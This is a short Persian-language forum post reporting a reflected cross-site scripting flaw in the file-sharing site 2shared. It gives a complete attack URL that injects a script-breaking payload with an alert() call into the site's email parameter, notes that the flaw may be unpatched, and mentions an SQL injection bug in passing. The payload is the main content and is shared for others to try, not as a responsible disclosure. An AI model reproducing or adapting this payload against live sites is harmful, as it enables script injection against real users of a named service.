ضعف امنیتیwww.2shared.com

[Siamak.Black]

باگ xss در 2sheread
این یک عربه پیدا کرده نمیدونم پچش کردن یا نه



کد PHP:

http://www.2shared.com/verifyBox.jsp?reg=false&em ail='%22--%3E%3C/st yle%3E%3C/script%3E%3Csc ript%3Eale rt(0x0000B5)%3C/sc ript%3E




کد اجرا می کنه به ایمیلش پیامی میفرسته
نمیدونم یک حسی میگه متد HTTP Parameter Pollution هست














ظاهرا باگ sql هم داشته

از این عربا کارای سر میزنه ادم شوکه میشه !!!!